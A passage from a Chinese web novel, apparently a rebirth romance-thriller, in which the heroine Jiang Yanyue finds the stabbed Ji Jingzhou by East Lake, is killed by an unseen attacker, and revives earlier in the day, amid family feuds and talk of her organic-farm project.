江言月也不知道停车干嘛,直接问他过来抢项目,又不太厚道。
纪景州身旁的女生应该是他妹妹纪依,两人五官长得太像。
“二哥你们认识?”纪依先开口问。
纪景州迅速打量一眼江言月,她今天穿了条蓝色牛仔裤,显得那双腿更修长,白色衬衣扎在裤腰里,腰线毕露。
跟平时那粗矿随性的风格有些出入,这样很适合她,很好看。
他不知道怎么回小妹纪依,也不敢看江言月。
纪依看了他们一眼,笑起来:“你们是老情人?”
江言月皱眉,瞥了纪依一眼。
纪景州尴尬开口:“别胡说,她是隔壁村江爷爷的外孙女。”
纪依撅起嘴点头,一副了然于心的姿态:“哪又怎样?又不妨碍你们谈恋爱。”
啥玩意,江言月头大,二百乘机跳下车,又过去围着纪景州打转。
纪景州这次没躲,纪依看了一眼,一脸坏笑:“难怪你县城不呆,回来就往村里跑,等我告诉爸爸,昨天他还在为你的婚姻大事愁眉苦脸,没想到你们藏那么深。”
江言月无语,纪家真是没一个正常人,那曾想纪依看起来聪明伶俐,实则是的十足恋爱脑。
她停趟车,纪依不知想法歪到哪边去了,纪景州也是,一个大男人,话都说不明白。
江言月也不想多费口舌,直接问:“我过来问你,是不是又想跟我抢项目?”
“不是……”
“不是就行。”江言月打断,踩下油门走了。
纪景州傻眼,狗还在闻他的脚,还没等他提醒,狗抬头,飞快拔腿追出去。
不远处江言月骑车下了坡,没有停下来的意思。
纪景州无奈一笑,这狗他第二次见,他又没脚气,老是追着他脚闻做什么。
“二哥你们真没什么?”纪依不死心问。
“你这小脑袋瓜,一天想什么呢!”纪景州指尖,轻戳纪依额头,“以后不准胡说八道。”
纪依嘟嘴:“那你刚才偷看别人。”
“没有……你看错了!”纪景州扭头,快步往家方向走。
“明明就有……”
他只是扫了一眼江言月,也被纪依捕捉到了。她当初就应该去报警校,而不是学什么新闻专业做记者。
他是想见江言月,真的见到人,又不太敢看。
上次东湖见面以后,他总是做梦,梦到江言月。
以前他做梦追着一女人跑,回去以后变成江言月。
明明几次遇见这个女人,他们就没好好说过一句话。
他想,他应该是疯了。
现在心脏还在不受控跳着。
这就是喜欢一个人的表现?
该死。
凭什么喜欢。
自己是不是有受虐倾向。
不可能喜欢。
想见就是喜欢吗?
不一定。
可能是上次被大哥利用,觉得心里有愧。
才想回来看看人怎么样罢了。
可胸口那颗越发失控的心跳,像是在对他无声反驳。
纪景州顿住,眼底诧异一闪而过,下意识转向身后,目光落在江言月停车的地方,应该是被吓到了!
对,吓到了!
这样都会喜欢,他都觉得自己是个变态。
12. 第12章
江言月下坡10米不到,踩下刹车。
二百借机,跳上摩托车脚踏板。
那纪景州除了长得好看些,有什么值得看的地方。
何况它一条狗懂什么好看难看,莫名其妙。
她看在秦悦面子上,不然早就撂下狗,让它跑回家,或者任由它跟着它的香饽饽——纪景州。
二百什么癖好,又不认识纪景州。
要不是秦悦从小把二百养大,她都怀疑,秦悦是不是抢了人家狗。
江言月也不想跟二百一般见识,见狗坐稳,驱车离开。
纪景州不是过来抢项目就行。
只要今天安全度过,她就可以甩开膀子,启动新征程。
别人都在期待未来,江言月期待今天别死。
回家后,一直躺床上,等着午夜12点的闹钟响起。
她甚至怕,睡着睡着猝死,永远无法睁眼。
闹钟一响,江言月长舒一口气,安心闭上眼睛。
一觉睡到太阳高照,外婆开门声吵醒了她。
江言月睁眼,揉了揉眼睛,翻身爬起来问:“怎么了外婆?”
“我以为你去县里了!”外婆拿着扫把,站在门口没进来。
“没去,这两天没什么菜,休息几天。”
“那你继续睡吧!”外婆作势要拉上门。
江言月制止:“外婆我不睡了,不用关门。”
“还早呢!”外婆拉上门,一点缝隙都没留。
屋里顿时伸手不见五指,她拉开窗帘,让阳光照进来。
脸上多了几分暖意,她那颗消沉的心,又活了过来。
终于危险解除了,真得好好庆祝一下。
江言月翻出手机,找出纪年电话拨过去。
“怎么了?”纪年问。
“晚上请你吃饭,要不要过来?”
纪年没有立刻答应,沉吟不语。
纪年不会是生她没同他去城里游玩的气吧?
什么时候纪年变得那么小气。
江言月自知理亏,循循善诱:“吃大餐,给你杀只老母鸡。”
纪年笑出声:“你不会以为我是在等你的老母鸡,才没答应你吧?”
“不然哩!”
纪年:“晚上我爸生日,我在想要不要叫你过来吃饭?”
“不用。”
江言月连忙拒绝,她才不喜欢热闹。
难怪纪景州他们会回来。
纪年跟纪景州同岁,比纪景州大两个月。纪年跟纪景州老爸是同父异母的兄弟。
他老爸第一任妻子难产离世以后,过了许多年娶了纪年妈妈,纪年老妈比他爸小将近20岁。
结婚时两边家人,谁都没同意。
后来纪年出生,闹分家。
纪景州老爸便带着妻儿另外盖新房。
纪年老爸带着妻儿住在老房子里,好多年没有往来。
再后来纪景州他爸离婚,纪景东没人带,纪年老爸隔三差五叫纪景东回家吃饭,才渐渐有了往来。
前几年,因为土地的事情,纪年跟纪景东又吵,关系再度僵化。
现在纪年老爸已经80多岁,他妈60岁。
不庆生,也不见得会有那么多机会。
纪年肯定憋屈,可是也只能忍着。
纪年老爸年纪大了,人一旦上年纪,就不会那么计较对错。
外婆就是最好的例子。
女儿20多年不见,外公去世回来一趟,感动得要命。
江言月倒是学不会感动,没把人轰出去已经是给足对方脸面。
她那个母亲,回来打扮得花枝招展,仿佛不是回来参加葬礼,是回来参加婚礼。
葬礼办完,江言月没跟她说过一句话。
听同村亲戚说对方已经重新组建家庭,有儿有女,过得不错。
听起来格外滑稽。
她想不明白,为什么老天会让自己来到这个世界,明明谁也不曾期待她的到来,却强行出现了。
还是她那所谓的父母也期待过,只是还没等到她到来,两人之间所谓的爱情便消散了。
他们爱情消失,就可以任意丢弃她。
——多可笑!
更可笑的是,他们这种人也可以过得很好。
那她有什么理由去难过,不是应该更好吗?
想到那些人,江言月好心情立马消失不见。
床上滚了一圈,江言月头埋在被子里,莫名想到梁靖,她一巴掌拍头上,疼痛感驱散念想。
绝不能痴情不爱自己的男人。
想也不行。
要么一辈子一个人,要么双向奔赴。
她安然无恙,有机农场项目该启动了。
在家吃完早饭,江言月忙着进城去找销售渠道。
刚上车二百追着出门,她只好一起带进城。
带着狗也不可能谈什么生意,她第一时间把狗送去给秦悦爸妈。
跑了10几家大型商超,没有找到渠道。
几家有固定合作基地,几家给不上价。
意料之中的结果。
毕竟是县城,食品健康意识依旧比较薄弱。
她也只是过来探一下市场。
没想过真能谈下来。
县城没有市场,只能把目光投向市里。
跑完最后一家超市,江言月彻底死心。
骑车回秦悦家接狗。
秦悦父母留她吃晚饭,她没拒绝。
趁着二老做饭的功夫。
江言月跑到秦悦房间又翻箱倒柜查看一遍,依旧一无所获。
她倒在椅子上,累到不想呼吸,二百甩着尾巴进来。
她扫了一眼狗,盯着天花板发呆,怎么就什么都找不到一些有用的东西呢!
难道秦悦真是死于意外。
可明明那信息…很可疑!
想多了?
或许…
江言月长叹一口气,站起来。
二百仰头盯着她,叫唤了两声。
“你知道?”她试探性问。
“汪——”狗仰头叫。
顺着狗眼看上去,是柜顶,上面堆着几床老棉被,她早就看到过,莫非棉被里有东西?
江言月瞧一眼狗,踢掉鞋子,跨上凳子……
“小月吃饭了!”秦阿姨在门口喊。
她手刚碰上红色透明被子包装袋,想拿下来一探究竟。
“你小心一点,别摔了。”秦悦母亲走过来,扶着她的腰,“我知道你想小悦,里面没什么,是她租房子时没来得及盖的被子……”
秦阿姨说着眼眶红了,江言月连忙跳下来安慰。
“要不今天你在家里睡了?”秦阿姨擦干眼泪,抬眸盯着她,“如果你不怕的话!”
这哪里是怕不怕的问题,她也想留下,可她有事。
江言月解释清楚,同二老吃好饭,骑车带狗回了村。
夜色降临。
一路上几盏昏黄的路灯亮着。
江言月骑车独自穿梭在水泥路上,风打在耳朵上,带走了唯一的温暖。
要不是因为项目,她早给自己买一辆车。
周围传来几声狗叫,二百动了一下,江言月凝神,夹紧双腿,避免二百发神经,从踏板上跳下去。
百米开外是东湖。
东湖两条环湖公路,一条通往隔壁村,一条通往东营村。
远远看到通往东营村的白色拱形桥,江言月依旧有些害怕,毕竟在哪里死过。
车疾驰上桥,一路颠簸,江
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言月屏息凝神,目不斜视。
脚下二百略显躁动,她呵斥一声,没啥用。
狗太反常。
江言月心一时提到嗓子眼,车速太快,除了风声,什么声音都听不到。
车过拱形桥,解除了像上次那样骑车失控,方向错乱冲湖的可能,她放慢车速,往旁边灌木里看。
湖旁边那块空地,又出现灰白的一小片,江言月瞳孔一震。
昏暗灯光打在上面,还是像个石墩子,狗在脚下一点都不安分,她慌乱移开视线。
明明白天看什么都没有,就是一块空地。
江言月下意识看过去,眼神还来不及聚焦……
狗顶开她挡住的双腿,跳下脚踏板,往旁边灌木窜进去。
江言月心一紧,破口大骂:“二百你疯了!”
前两次那种死感,又充斥满大脑,唯一的那分冷静被挤得粉碎。
她想丢下狗,可是不能。
车刹停,江言月顺着狗摩擦枝叶的声音看过去,目光正好落在湖旁边那块空地上,她没看到狗。
那一片灰白也消失不见,独留一片空洞,黑漆漆的空洞。
此刻谁过来告诉她有鬼,她都信。
二百叫唤了几声,声音在百米之外。
江言月腿不受控打颤,殷红的嘴唇快咬出血。太诡异了,明明上一刻那里还有东西。
3个月已过,莫非她还会死?
心一沉,双腿瞬间重如千斤,停止了颤抖,陷入地里一般,无力挪动半分。
江言月低下头,脚下踩着一堆鲜绿的落叶。
灌木枝叶往两边撇开,到那片黑漆漆的空地处结束,这不是二百走出的路,二百没那么高。
心顿时硬起来,如果注定是死,那为什么会有那么多意外?
她不甘心,次次把命交给意外。
鬼有什么可怕的,她只怕有人装神弄鬼。
江言月竭力迈开双腿,抬起手迅速穿过灌木,脑子里全是警惕,她自动忽略,如果这次也是死,她只想知道为什么。
眼看就要走到尽头,江言月放慢脚步,握紧双拳,定睛看向那片黑漆漆的空地,那里什么都没有,徒留一堆焦黄的枯叶。
江言月松一口气,她刚才肯定眼花看错了,自己吓自己永远最可怕。
狗往前方跑去了。
她决定原路返回,去找狗,最后一步落地,脚掌没有落地的实感,脚下,柔软,回弹……
江言月一抖,抬起脚不敢动了。
“嗯——”
一声闷哼从脚下传来。
“啊!”
江言月尖叫一声,跳起来。
身体一歪,压在灌木上,灌木撑不住她,不受控倒向那边堆满枯叶的空地。
她没倒在枯叶上,压在一片灰影上。
那微弱的呼吸打在江言月耳畔,她确定身下是个人,背上压着的坚实胸膛,告诉她是个男人。
她仰躺着,看不见对方的脸。
一切拨云见月,江言月反而没那么害怕了。
抬手拽住灌木枝杈,借力站起来,摸出手机,打开手电筒,照过去。
纪景州惨白的脸,呈现在眼前,他嘴角淤青带血,双目紧闭,左脸有些浮肿淤青,白色衬衣被血染大半。
江言月屏住呼吸,瞬间怔愣,下一刻,俯身轻拍他的脸:“纪景州,你醒醒,别睡!”
没有任何回应,纪景州右上腹一直渗血。
江言月那股短暂消失的恐惧感,又瞬间回笼,晕厥感袭来,她用最后一丝理智,用力锤在腿上。
痛感带来意识,江言月逼着自己冷静。
纪景州睫毛微微颤动了一下。
江言月倒抽一口气,想定睛看清,眼泪掉出来遮住视线。
13. 第13章
江言月颤手擦泪,眼下的纪景州没有半点动静,她想说话,嗓子处一股气堵着。
一张口,只想抽泣飙泪。
她深吸几口气,压住胸口那股心酸劲。轻拍纪景州的脸,脸上温度比刚才更低了,她手抑制不住发抖:“纪景州,你坚持一下…行不行?”
嗓子哑到自己都听不清说什么,昏迷的人更不可能有回应。
江言月蹲着,崭新的蓝色衬衣下摆,不知什么时候被血染红一大半,贴在腰间,凉嗖嗖的,让人心里越发胆寒。
不止住血,叫醒人也回天乏术。
江言月把手机电筒,照往旁边,枯叶边上有一颗艾草。
她站起来,胡乱扯下一大把叶子,拼命揉碎,敷在伤口上,按压住。
血没再流出来,江言月判断不出是艾草发挥药性,还是艾草吸收了鲜血,给她造成止血的错觉。
她拿起手机,纪景州痛苦抿着嘴,眉眼抽动,有种快要醒来的迹象。
江言月手伸过去,还没抚上脸,那双漆黑的杏眼猛然睁开。
她手僵在半空。
纪景州片刻怔愣,眼底被恐惧填满:“你怎么在这里,快走……这里危险!”
他抬手,没抬起来,痛得闷哼。
江言月按住他的手,故作平静问:“你怎么了?到底怎么回事?”
纪景州疼得倒抽一口气,眼睛慌乱扫视一圈,眼帘垂下来,又竭力撑起,无力望着她:“你快走……别管我……他手里有刀,你斗不过他。”
纪景州一句话大喘了几口气。
江言月不打算再问。
拿起手机,打通报警电话,用最快的速度回答所有问题。
手机照过去的时候,纪景州已经再次晕厥过去。
什么人能对陌生人痛下杀手。
或者不是陌生人!
江言月不敢多做停留,又无从下手,生怕稍微移动纪景州,他血流不止。
纪景州衣服上两个交叉的破口,无法确定是不是被捅了两刀,而且说不定还有一些隐形的伤。
她颤手去探他的鼻息,还算平稳。
这里离公路直线50米左右,可直线根本过不去,10米处是一个高几米的土丘。
只能原路返回,江言月没本事带着一个一百多斤重的受伤男人过去。
等救护车过来的话,她怕凶手原路返回。
情急之下,她拨通纪年电话。
手机还有15%的电。
电话接通,江言月先开口:“你在哪里?”
“在家。”纪年那边听起来很热闹。
“我在东湖,纪景州受伤了,你快点过来。”
“受伤?他刚才不是还好好的,我哥叫他去找纪依,怎么会受伤。”
江言月没功夫跟纪年讨论前因后果,她心都快跳出来了:“等下我把位置发给你,多带两个人过来。”
不等纪年回复,江言月连忙挂断电话。
纪景州伤处确实没有流血了,江言月暗自松一口气,心情还没来得及放松片刻……
二百惨叫声从远方传来,还伴随着女人的尖叫声:“你别过来!”
纪依的声音。
江言月头皮一紧。
手机铃声响起,纪年打来的。
江言月迟疑一秒接通电话。
“我刚才没听清,我这边太吵了,你说带什么。”
“带人过来,纪景州被人拿刀捅了,受伤很严重。”江言月扯着嗓子回,说完很后悔,她现在大吼,无疑的主动暴露行踪,惹人注意。
纪年颤声说:“你……你们……”
江言月打断:“别打电话给我了,我手机快没电了,我把位置发给你。”
…
位置发过去。
“扑通——”
不远处传来落水声。
仿佛死亡警钟敲响。
周围又恢复死一般的寂静。
整个东湖黑漆漆的一片,看不到尽头。
江言月深深地看了纪景州一眼,心一横,往声音传来的方向赶去,只要稳住那施暴的男人,纪景州就不可能会有危险。
纪年他们差不多10分钟可以赶来。
这10分钟很重要,稍不注意会死,她担心二百。
刚才不知道什么东西落水。
江言月加快脚步,顺手捡起旁边一根小臂粗的枯枝,拖着。枝杈有些碍手,迅速掰掉多余枝杈,调整到合适的长度。
不远处传来唰唰唰的声响,百米开外,一个黑影往她这边逼近,江言月不想硬碰硬。
调转方向往湖边跑,出树林的时候差点被灌木绊倒,踉跄站定,她跑到湖边扒着栏杆,看向湖面。
二百在水里扑腾,拽着黑乎乎的一团东西,往那边走几米,江言月才看清那是个人。
没看到脸,不过人只可能是纪依。
二百压根就拽不动人,只能拽着人,在水中原地打转。
她不会游泳,哪怕跳下东湖也是找死。
那黑影往纪景州方向去了,没有追着她来。
江言月不知道该管哪里,甚至自身难保。
短暂迟疑,她看了一眼二百,原路返回,能救一个算一个。
有可能刚才那人,没看到她,江言月自我宽慰。
走了几米,江言月大胆抬眸望去,人影早已消失不见。
江言月握紧木棍,愣在原地。
人逃了?
她原本计划小心翼翼回去,趁人去看纪景州,偷袭对方呢!
那人跑了正好,他应该是听到她报警的声音,逃了。
看似一切理得很通顺,江言月心里依旧七上八下,忐忑不安。
她扬起棍子往旁边灌木里猛挥几下,激起几只飞蛾,别的什么都没有。
江言月不敢掉以轻心,四处张望,小心挪过去。
转眼到了空地,纪景州在地上躺着一动不动,光打过去,那惨白的脸庞没有半点动静。
江言月蹲下,用袖口去擦他嘴角的血,擦不掉,血已经凝固,胸口一堵钝痛。
“唰……”也不知道哪里传来的声响。
江言月抬起的袖口僵在半空,扭头环顾四周,什么都没有。
昏暗的灯光照着周围灌木,他们呆在被光遗忘的空地,江言月心里只剩绝望。
瞟了一眼手机右上角的时间,离刚才打电话给纪年才过了5分钟,她有种过了5年的错觉。
“滴——”
手机电量过低提示弹窗跳出来——“不足10%,要不要开启省电模式。”
江言月按下“返回键”,退出提醒模式。
手电筒已经自动关闭,打开瞧着人也无能为力。
要是知道那人会跑,她还不如留在湖边,说不定还能帮上忙。
她现在担心二百,它根本不可能把人救上来。
好在纪依没挣扎,身体没有下沉,浮在湖面。
上次她掉下去,挣扎特别厉害,没过多久便失去意识。果然在水里,不会水的话,越挣扎死越快。
江言月苦笑,俯身对着昏迷的纪景州小声念叨:“纪景州,你一定要好好活着。”
她语气近乎央求,算是在恳求老天,发发善心。
身下的纪景州微微动了一下,江言月大喜,俯身凑近纪景州耳畔:“你听得到我说话是不是?”
人又动了一下,江言月借着手机屏幕上的光,能看到他脸上痛苦的表情。
她手放在纪景州脸上轻抚,柔声安慰:“你别动,他们马上过来了,我会救你的……”
脖颈处一凉,一股大力锁住江言月喉咙。
“你有没有想过,你救他,谁救你?”
那陌生的嗓音,带着笑意,犹如厉鬼来索命。
江言月奋力挣扎,男人手越收越紧,刹那间仿佛脖颈在跟身体分家,身体完全不属于她,属于她的只有疼和窒息感。
她疼到不想挣扎,行动却跟想法背道而驰,双手抓着他粗粝的手,试图挣脱那双铁钳一般的恶魔之手。
白费工夫。
“你看,你们都不听话,乖一点,也不至于死,大家都爽一下
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,不就行了吗!”背后笑声传来。
江言月心尖一颤,忘了挣扎。直觉告诉她这条路上有变态,今天才算真正遇见,纪依该有多绝望,大概跟她现在一样吧。
“想通了?”男人问,言语间全是惋惜,“晚了!”
脖颈处松了瞬间,白光从脖颈一晃而过,冰凉后锐痛,温热的血液喷薄而出,头跟身体分了家。
江言月下意识按住脖颈,试图缓解脖颈撕裂的疼,身体不受控倒向纪景州。
江言月想看清身后那张脸,却无法回头,只能任由疼痛与绝望,占据所有神经系统。
这场死局,到底是怪她多管闲事,还是命中注定?
江言月闭上眼睛,意识消失殆尽时,也没有答案。
这一生她好事做尽,没害过任何人,为什么要这样折磨她,老天这是提醒她别多管闲事?
——
“是不是只有把你送警察局才会老实——”
江言月被自己声音吓愣,纪景州的面庞落入眼眸,她手还拽着他的衣领,下意识一笑,眼泪掉出来,“你没事?!我也没事!”
纪景州一怔。
江言月加大扯住衣领的力度,把人拉下来,摸上那一脸错愕:“纪景州,你真没事了!”
纪景州皱起眉头,别开脸一让。试图摆脱江言月没规矩的手。
江言月的手追着纪景州的脸走,她只想确定此刻的真实性。
纪景州避无可避,想推人又怕不小心碰不到不该碰的地方,这女人再借机倒打一耙。
她是不是疯了?
还是有精神分裂症?
上一刻还在诬赖他,说他躲在田埂冲出来想轻薄她。
现在到底是谁轻薄谁?
纪景州拉着脸,不耐烦问:“你摸够没有?”
江言月恍若未闻,变本加厉,一把圈住脖子抱住他,“真好,你没事!”
她的胸口正抵着他,纪景州僵住,心如捣鼓。
“吓死我了,跟做梦一样。”
江言月自顾自说着,又像是想起什么一样,放开搂他脖子的手,改成扶着肩膀,低头从他胸口看下去,“还好,那里也没事。”
那里是那里?
纪景州下意识低头顺着她视线看下去,脸瞬间红透,推开人。
这女人是不是被色.鬼附体了?
上一秒还拒人千里草木皆兵,要报警,下一秒变成这样,纪景州觉得他才该报警。
对上江言月那张人畜无害的脸庞,又有些说不明白的感觉。
她脸上的笑容很干净,是那种打从心底的欣喜,没有掺杂别的东西。
仿佛他才是那个思想龌龊的人。
明明刚才又摸又抱的人是她。
纪景州眉头深锁,眼神复杂盯着对方,一句话说不出来。
江言月后知后觉意识到自己行为有些过头,冲纪景州尴尬一笑,眼下这光景,应该正是他们第一次见面的时候,她刚把纪景州当流氓骂了。
前后行为反差太大,她现在在纪景州眼里,多半脑子有毛病。
没办法,比起上一刻两人赴死的绝望,活着更让人激动,看到生龙活虎的他,没忍住。
江言月理了理衣服,缓解尴尬,淡淡地对纪景州说:“你别检测土质了,我刚叫梁靖检测不久,不合格,你回去告诉纪景东,想要合作项目,就正大光明过来跟我商量,别偷偷摸摸做些见不得光的事。”
纪景州傻眼,没回话。
江言月冲他礼貌一笑,不远处狗叫声传来,她骑上摩托走了。
纪景州盯着她背影发愣,她认识梁靖?
白天老姜说过来抢项目到底什么意思?
大哥叫他过来帮忙检测,别的什么都没说过。
土质肯定不会合格,普通田地,要做土质改善至少要三年,他只是过来检测一下,给大哥制定改善方案。
江言月话里的意思是,她早就开始做这项目?而且她还认识梁靖?
难怪她会知道自己名字。
这事只能问梁靖才能问清楚!
14. 第14章
月色之下,摩托车在弯道上急速顺拐。
江言月恨不得飞过去抱住二百。
狗叫声不断逼近,一个念头冒出来,二百这次死了没有?
死不死都一样,反正现在他们都在。
上一刻,那种濒死感冒出来,江言月头皮一紧。
那疼痛感超越上次溺水窒息而亡。
明明已经过了3个月,她依旧没逃脱死亡的宿命,到底为什么?
唯一值得庆幸的是,她不用防着任何人,因为重生以后,发生的事情不会重复。
大概是老天在教训她多管闲事。
可是再来一次,她还是会去救人,不要说她拿着重生这块免死金牌。
哪怕不会重生,她也会做一样的选择,只是她不甘心,没有看清杀他们的人是谁,否则她一定要找出来,给纪景州他们提个醒也好。
脖颈处,湿润感传来,江言月下意识摸上去,垂眸快速扫一眼,手上是透明的汗珠。
江言月长舒一口气,她吓半死,以为脖子又流血了。
什么叫做人吓人,吓死人。
不能这样总是回忆那些事情,应该遗忘,主动遗忘。
不然哪天她真给自己吓死了。
二百冲过来,低吼一声,停在车旁。
江言月挪开踩着踏板的双腿,让它跳上来。
二百抬头,眼睛直勾勾盯着她,眼里全是委屈。
江言月笑了笑,弯腰摸着狗头,小声哄着:“知道你委屈了,以后去哪里都带着你,坐好,我们回家。”
…
江言月推开大门。
外婆看到狗一愣:“耶……我正想跟你说,今天下午跑来一条狗,赖在我们家门口不走,我还怕它乱咬人,一直关门等它走,它也不走。”
上次外婆也是这样说的,江言月正想回话,手机响了,梁靖的电话。
江言月看了看狗,快速跟外婆说:“我朋友的狗,白天我叫它先回家了,忘了跟你说,外婆你跟它搭个狗窝,我接个电话。”
江言月拿着手机,转进房间,按下接听键。
“刚才我同事给我打电话,说他哥叫他过你们村检测土壤,没想到你这烫手山芋,盯上的人还挺多!”梁靖在那头,边说边笑。
上次梁靖知道以后,还不是这态度,她记得对方忧心忡忡,担心她,不知道纪景州跟他说了些什么。
江言月反驳:“谁告诉你是烫手山芋,万一是香饽饽呢,只是你没有慧眼发现。”
梁靖嗤笑:“我倒是希望是香饽饽,只是我认真想了一下,你这事情要做成,哪怕土质检测成功,估计做成也要好几年,还是在没有意外的情况下。成了要么一本万利,要么血本无归,想想都是一场豪赌,当初要是你校招的时候,别忙着回村发展,混个几十万年薪,应该没什么问题。”
梁靖口吻中全是惋惜,江言月心底没有任何惋惜,这三年虽然没挣多少钱,但是陪着外婆,对她来说是最好的。
她没告诉过梁靖,真实的家庭情况,当初梁靖过来的时候,看到家里只有外公外婆,随口问了一下。
她只告诉过梁靖,她是外公外婆捡到收养的孩子,梁靖道歉,后来再没说过什么。
她不喜欢别人说她有娘生,没娘养。
也不喜欢别人一脸同情看她,她不需要同情。
可能在小学初中会羡慕那些有爹有娘的孩子。
还会自我怀疑,是不是从出生就被抛弃,是她的问题。
后来政治老师告诉她:别在意别人怎么说你,你自己怎么样,自己决定,不是所有父母都爱孩子,爱不爱也不重要,反正他们不爱你,有别的人爱你,但是自己爱自己才是永恒的,指望从别人那里获得爱,相当于把爱人的能力交给别人,这样只会一直处于患得患失的状态。
那时她年纪大小,没有领悟老师话中深意,在那过后的几年,经历朋友背叛,亲人诋毁,渐渐明白过来。
那些朋友亲人,她自认为对他们很好,可是在别人眼中不值一提,还是看不起她。
她后来习惯了,管他们怎么样,她做到自己该做的,那些人怎么想随便,反正该留下的人都会留下。
好比秦悦,秦悦父母,梁靖,外公外婆……这些打从心底关心她的人。
她爱这些值得她去爱的人就好。
江言月又有些想哭,这才几年,他们这些人离开的离开……
梁靖也快结婚了,结婚以后他们关系还能那么好吗?
江言月没回答梁靖问题,反问:“你是不是要结婚了?”
“你听谁说的?”
“我掐指一算。”
梁靖无奈笑了几声,“是要结婚了,时间还没定,到底谁跟你说的,好像你除了我,也不认识别人……”
梁靖追问:“不可能是景州告诉你的吧?”
江言月也不可能回,是上辈子你自己说的,随口答:“我跟纪景州不熟,他没告诉我,我是看你最近几个月忙的电话都没一个,想着你估计是谈恋爱了,诈一下你,没想到你不打自招。”
梁靖:“你这话不厚道,你翻一下通话记录,这一年,我们谁给谁打的电话更多?”
江言月冷哼一声,不语。
梁靖叹了一口气,没同她掰扯,淡淡道:“我不跟你计较了,我只是怕你担心项目,我跟景州说了你这边情况,你放心,他不会帮他哥抢你项目,他这人还是比较正直的……而且……”
江言月下意识问:“而且什么?”
“而且……他单身。”
江言月皱起眉头,没好气说:“挂了!”
“别挂!别挂!”梁靖说,“我认真的,他这人平时洁身自好,喜欢他的女人倒是挺多,可他不喜欢人家,也没跟人家暧昧不清,对男人来说,能做到这点的男人很少,还有如果你跟他在一起,以后项目的事情说不定他还可以帮你,你们说不定还能有不少共同语言……”
江言月听不下去打断:“你是不是担心我的事情,影响你谈恋爱,不想帮忙做检测了?我可以找别人。”
“怎么可能,我是真为你好,我觉得你们很合……”
江言月挂断电话。
梁靖接着打来,她没接,直接挂断。
【生气了,我真觉得你们合适,他长相,人品,都不错。】梁靖微信消息跳出来。
江言月气得发抖,迅速回复消息过去:【不用你操心,我没空谈恋爱,我们村男人多得是,全是帅哥,帅得要死。】
梁靖发了一个摊手的表情过来。
江言月手机砸床上,回了院子里。
什么玩意,婚都没结,就想着把她安排出去。
她心仪梁靖,可两人交流除了工作就是工作,半点暧昧都没有。
梁靖也不可能知道她喜欢他。
在梁靖眼里,她就是个男人,算哥们。
当哥们都嫌她,影响他谈恋爱,真气人。
男人真是没一个靠谱的。
还说纪景州没谈恋爱,洁身自好,跟女人保持距离。
有没有可能,他只是没遇到喜欢的女人。
结合上一辈子,对纪景州了解,江言月觉得纪景
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州不爱说话。身体素质一般,大概率绣花枕头一个,中看不中用,说不定有什么隐疾,也不是不可能。
与其同时,纪景州不合时宜打了个喷嚏。
纪景东黑着脸,激动解释:“那女人以退为进,她不是真的想让我过去跟她好好谈项目,你根本不了解她,她唯利是图,当初为了项目,把我踢出去,现在怎么可能会让我加入。”
纪景州扫了大哥一眼,表示怀疑,江言月那表情倒是坦荡。哪怕真把大哥踢出来,也正常。
三年前,项目才开始,什么东西都是未知的,这反而对大哥来说蛮好的。
这几年江言月做了那么多准备,纪景州没看到江言月讨到什么好处,只看到了江言月做有机农场的决心。
反而从大哥话里,他只听到——“利益”
只是“利益”的话,可能项目想做下去没那么容易。
纪景州也懒得辩解,也不想插手,说:“我明天回去,她的项目,你想加入,自己去商量。”
纪景东脸一抽,手拍在桌子上:“你是不是也跟小叔一样,看人家长得好看,魂被勾走了!”
这都什么跟什么,纪景州无语,刚才光线太暗,他甚至都没看清江言月的脸,白天的话,只看到一个侧脸和背影。
可能是好看……
纪景州想到黄昏时分,那个对他上下其手的女人,直摇头,他可不喜欢精神不正常的女人,好看也没有用。
纪景州沉默不语,起身上楼,回卧室。
“你不帮我,谁帮我!我不像你有个要风得风,要雨得雨的后爸。”纪景东直吼。
纪景州冷笑一声,在楼梯拐角短暂一顿,扭头瞥了一眼客厅一言不发的大哥和父亲,径直回卧室。
原来在大哥心里,还羡慕起他的生活了。
母亲再婚的时候,他在别人家里,谨小慎微活着,那时候还没有妹妹谢韵。
他那时年纪小什么都不懂,母亲告诉他要听话,不然他们就没地方可去,他害怕,什么都不敢说,怕说错话。
继父谢国礼还算是一个不错的人,平时少言寡语也不说什么。那边的爷爷奶奶经常抱怨继父,自己孩子不养,给别人养孩子。
他听多了,就麻木了。
继父谢国礼离过婚,跟前妻有个儿子,离婚以后孩子跟前妻。
两年后,母亲生了谢韵。
爷爷奶奶跟他说要保护好妹妹。
每次妹妹受伤都怪他。
母亲知道不是他的问题也不敢吭声,继父谢国礼,会帮他说话,说是小孩子小磕小碰正常。
爷爷奶妈反而说继父,不关心孩子。
从那以后,他整天心思都在保护妹妹和好好表现的事情上。
谢韵上初中有了自己想法,嫌他难缠,他才慢慢放开。
后来他考上大学,没有那么多时间相处,谢韵又嫌他忽视她这个妹妹。
谢韵从小娇生惯养,任性妄为,全凭性子说话,他听了也没放在心上。
毕业以后发展的还不错,继父是很好,可这一路走来,更多的是靠了自己。
大哥会有这些心思,还是让他震惊。
刚才父亲站在楼下那自责的模样,可能真觉得亏欠了大哥。
纪景州认为过得不好,或许有时候可能会忍不住责怪原生家庭。
可想真要过好这一生,还是得靠自己。
好比那个从小被父母抛弃的江言月,不也是靠自己,走到现在吗?
纪景州心莫名抽痛,他抬手按住。
小叔真喜欢江言月,不可能。
15. 第15章
江言月一大早去县城卖菜,卖完赶回东营村。
跟上次一样,纪年去给别人拉货了,然后告诉她纪景东喊纪景州过来检测土质。
她心里毫无波澜,回知道了。
手机修好,她拿手机回了村。
带着狗回村路上,遇到站在路口的纪景州,他手里提满菜。
看样子应该是要回省城。
随着摩托车靠近,江言月听到他爸的挽留,一旁的纪景东黑着脸,一言不发。
目光冷冷地盯着她。
江言月车停在他们身旁。
她想过了,如果她会死,那找个人合作也不是不行。
她看不上纪景东,但是纪景州可以,如果让纪景州去约束他哥,一定能行。
另外她再让纪年加入,这样的话,哪怕她死了。
他们三个人相互约束,打配合,项目也不可能糟糕到哪里去。
主要还是纪景州,他跟纪年,纪景东都能说得上话。
车刚停好,狗又摇着尾巴跑到纪景州旁边。
江言月虚叹一口气,习以为常。
另外三人倒是吓得够呛,连退几步。
八月尽量吐舌头卖萌,还是吓到人。
跟主人站在一起的两个人它认识,一个是主人他爸,一个人主人他哥。
两人它都不喜欢,当初这两个人一直阻碍,主人跟江言月在一起。
主人现在怕它,它很心烦。
纪景东扫了一眼狗气急,破口大骂:“你哪里找来的野狗,乱咬人。”
江言月瞪过去,没好气说:“它不咬人,不像有的人乱咬人。”
“你……”纪景东指着她,把话吞回去。
